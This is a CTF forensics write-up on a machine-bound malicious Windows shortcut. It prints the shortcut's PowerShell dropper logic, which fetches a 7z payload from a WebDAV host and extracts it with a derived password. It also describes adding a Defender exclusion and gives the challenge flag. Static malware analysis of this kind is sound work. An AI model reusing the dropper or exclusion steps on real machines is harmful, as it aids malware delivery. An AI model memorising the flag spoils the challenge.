CSCTF 2026Forensics
Briefing for One
The shortcut is a machine-bound dropper. Statically reading its PowerShell shows the exact recipe:
- Competition
CSCTF 2026- Category
- ForensicsMedium
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition4 min read
Brief
The challenge
- Category
- Forensics
- Difficulty
- Medium
- Points
- 270
- File
briefing-for-one-5f4125fbb77f625d.zip
Flood response was under way when an intruder staged a routing package for a single workstation at the fictional Rovenqara Civil Continuity Directorate. Recover the package from the supplied evidence and submit its briefing token. Analyze the files only: do not execute the shortcut or DLL, or contact captured addresses.
TL;DR
The shortcut is a machine-bound dropper. Statically reading its PowerShell shows the exact recipe:
password = hex( HMAC-SHA256( key = base64("eyy//ntonkO5y+zE61CW4ddRSUWiWBgzwe3ra1tENd8="), # embedded in the LNK data = "csctf26/briefing-for-one/v1" || 0x00 || lowercase(MachineGuid),) )That password opens the route-update.7z captured in the pcap; inside, route-table.json carries the briefing token.
00
Windows Defender eats the evidence
The zip contains a genuine malicious briefing.lnk, so Defender tampers with the archive on download: it silently strips briefing.lnk (161346 → 155537 bytes) while leaving the other members intact and CRC-valid. Working without admin, I added a Defender exclusion for the Downloads and ctf folders (one elevated UAC step) and restored the original zip from quarantine. With the exclusion in place the pristine 161346-byte archive — including the shortcut — survives, and I parsed everything offline without ever executing the shortcut or DLL.
This matters: the binding key lives only inside briefing.lnk, so a Defender-mangled copy is genuinely unsolvable.
01
The package
| Member | Role |
|---|---|
briefing.lnk | the dropper; embeds the binding key and the derivation |
machine-cryptography.hiv | saved HKLM\SOFTWARE\Microsoft\Cryptography key → MachineGuid |
egress.pcapng | WebDAV session delivering route-update.7z |
field-guide.md | documents the derivation + a byte-handling self-test |
provenance.json, SHA256SUMS | acquisition metadata and manifest |
02
Reading the shortcut (no execution)
Parsing briefing.lnk with LnkParse3, the target is powershell.exe and the arguments spell out the whole operation. The important lines:
$g = (Get-ItemPropertyValue 'HKLM:\SOFTWARE\Microsoft\Cryptography' MachineGuid).ToLowerInvariant()$k = [Convert]::FromBase64String('eyy//ntonkO5y+zE61CW4ddRSUWiWBgzwe3ra1tENd8=')$h = New-Object Security.Cryptography.HMACSHA256; $h.Key = $k$p = [BitConverter]::ToString($h.ComputeHash( [Text.Encoding]::UTF8.GetBytes('csctf26/briefing-for-one/v1' + [char]0 + $g)) ).Replace('-','').ToLowerInvariant()Copy-Item '\\briefing.rovenqara.test@80\DavWWWRoot\ops\route-update.7z' $a& 7z.exe x ('-p'+$p) ('-o'+$d) -y $a # then checks route-update.dll / route-table.json hashesSo the 7z password is HMAC-SHA256(binding_key, "csctf26/briefing-for-one/v1" + 0x00 + MachineGuid) in lowercase hex. The binding key is the base64 blob baked into the shortcut — the one value that isn't recoverable from any other artifact, which is why the stripped LNK was fatal.
03
The two inputs
MachineGuid from the saved hive (read with the saved
Cryptographykey as root, viaregipy):080c7be1-f41c-446c-b961-93bd7bc4ea31route-update.7z reassembled from the pcap. The one
GET /ops/route-update.7zreturns 5359 bytes ofapplication/octet-stream. Reassembling by TCP sequence number (deduping retransmits) and verifying the 7z start-header and next-header CRCs gives a byte-perfect archive whose SHA-256 isd29a0679…b13ae4c2— exactly the hash the PowerShell asserts.
04
Derive and open
key = base64decode("eyy//ntonkO5y+zE61CW4ddRSUWiWBgzwe3ra1tENd8=")msg = b"csctf26/briefing-for-one/v1" + b"\x00" + b"080c7be1-f41c-446c-b961-93bd7bc4ea31"pw = HMAC-SHA256(key, msg).hex() = ee731407a271c8aa4b92f93d362591626421d32465aeba3f912ac09c576dc6c0Opening route-update.7z (AES-256, encrypted headers) with that password yields route-update.dll (SHA-256 230b2e64…, matching the LNK's own check — never loaded) and:
{"schema":1,"briefing_token":"CSCTF{eab85b3bb8d309ec8f52a3f6271c55ff}","routes":[...]}05
Byte-handling note
field-guide.md warns about the exact encoding: UTF-8, no BOM, no braces/whitespace around the GUID, and a single 0x00 between the domain string and the GUID. Its worked example (key = 0001..1f, GUID 00112233-...-aabbccddeeff → 7dad6991…366d10d0) is a self-test; reproducing it confirms the HMAC is assembled correctly before using the real inputs. The 7z password is the full 64-hex HMAC, but the flag is the 32-hex token stored inside the archive — which is why the submission format is 32 hex characters, not 64.
Solve script
solve.py reads egress.pcapng from the zip, reassembles and hash-checks route-update.7z, derives the password from the LNK's binding key + MachineGuid, extracts the archive, and prints the token:
7z password : ee731407a271c8aa4b92f93d362591626421d32465aeba3f912ac09c576dc6c0flag : CSCTF{eab85b3bb8d309ec8f52a3f6271c55ff}Flag
Flag
CSCTF{eab85b3bb8d309ec8f52a3f6271c55ff}
Source-documented · not platform-verified
Takeaways
A malicious
.lnkis just data — parse its argument block statically (LnkParse3) to read the attacker's logic without running it. Here the shortcut literally handed over the binding key and the derivation.Reassemble captured files by TCP sequence number and verify format-internal checksums (the 7z header CRCs) so retransmits don't silently corrupt the bytes you hash.
Real malware fixtures trip AV, and AV can modify an archive in place rather than just block it. A scoped exclusion (or an offline box) is required, and you must confirm you're working from the pristine original.